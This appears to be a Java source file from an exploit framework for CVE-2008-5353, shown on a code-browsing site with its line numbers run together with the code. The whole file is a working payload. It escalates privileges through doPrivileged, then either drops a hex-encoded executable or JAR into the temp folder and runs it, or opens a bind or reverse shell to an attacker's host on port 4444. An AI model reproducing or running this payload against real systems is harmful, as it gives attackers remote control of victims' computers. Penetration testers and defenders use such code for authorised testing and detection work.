Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2008-5353/src/msf/x/PayloadX.java
Views: 11791
package msf.x;12import java.io.BufferedReader;3import java.io.BufferedWriter;4import java.io.File;5import java.io.FileOutputStream;6import java.io.InputStream;7import java.io.InputStreamReader;8import java.io.OutputStream;9import java.io.OutputStreamWriter;10import java.net.ServerSocket;11import java.net.Socket;12import java.security.AccessController;13import java.security.PrivilegedExceptionAction;1415public class PayloadX implements PrivilegedExceptionAction16{17// This will contain a hex string of the native payload to drop and execute.18public static String data = null;19public static String jar = null;20// If no native payload is set we get either a java bind shell or a java21// reverse shell.22public static String lhost = null;23public static int lport = 4444;2425class StreamConnector extends Thread26{27InputStream is;28OutputStream os;2930StreamConnector( InputStream is, OutputStream os )31{32this.is = is;33this.os = os;34}3536public void run()37{38BufferedReader in = null;39BufferedWriter out = null;4041try42{43in = new BufferedReader( new InputStreamReader( is ) );44out = new BufferedWriter( new OutputStreamWriter( os ) );45char buffer[] = new char[8192];46int length;47while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )48{49out.write( buffer, 0, length );50out.flush();51}52}53catch( Exception e ) {}5455try56{57if( in != null )58in.close();59if( out != null )60out.close();61}62catch( Exception e ) {}63}64}6566// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java67public static byte[] StringToBytes( String s )68{69byte[] data = new byte[s.length() / 2];7071for( int i = 0 ; i < s.length() ; i += 2 )72data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );7374return data;75}7677public Object run() throws Exception78{79//System.out.println("Running");80// if the native payload data has not been set just return for now, it81// will be set by the next time we reach here.82if( PayloadX.data == null && PayloadX.jar == null )83return null;84//System.out.println("have either data or jar");8586try87{88String os = System.getProperty( "os.name" );8990//System.out.println("OS: " + os);91// if we have no native payload to drop and execute we default to92// either a TCP bind or reverse shell.93if( PayloadX.data.length() == 0 && PayloadX.jar.length() == 0 )94{95//System.out.println("no, exe/jar. Doing shell");96Socket client_socket = null;9798String shell = "/bin/sh";99100if( os.indexOf( "Windows" ) >= 0 )101shell = "cmd.exe";102103if( PayloadX.lhost == null )104{105ServerSocket server_socket = new ServerSocket( PayloadX.lport );106client_socket = server_socket.accept();107}108else109{110client_socket = new Socket( PayloadX.lhost, PayloadX.lport );111}112113if( client_socket != null )114{115Process process = exec( shell );116if( process != null )117{118( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();119( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();120}121}122}123else if( PayloadX.jar != null && (PayloadX.jar.length() != 0) )124{125//System.out.println("Dropping JAR");126String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".jar";127128writeFile( path, StringToBytes( PayloadX.jar ) );129exec( "java -jar " + path + " " + PayloadX.lhost + " " + PayloadX.lport + " true");130}131else132{133//System.out.println("Dropping EXE");134String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".exe";135136writeFile( path, StringToBytes( PayloadX.data ) );137if( os.indexOf( "Windows" ) < 0 )138{139exec( "chmod 755 " + path );140}141exec( path );142new File( path ).delete();143}144}145catch( Exception e ) {146//System.out.println(e);147}148149return null;150}151152public Process exec( String path )153{154Process p = null;155//System.out.println( "Executing" );156try {157p = Runtime.getRuntime().exec( path );158if( p == null )159{160//System.out.println( "Null process, crap" );161}162p.waitFor();163} catch( Exception e ) {164//System.out.println(e);165}166return p;167}168169public void writeFile( String path, byte[] data )170{171//System.out.println( "Writing file" );172try {173FileOutputStream fos = new FileOutputStream( path );174175fos.write( data );176fos.close();177} catch( Exception e ) {178//System.out.println(e);179}180}181182public PayloadX()183{184try185{186AccessController.doPrivileged( this );187}188catch( Exception e ) {}189}190}191192193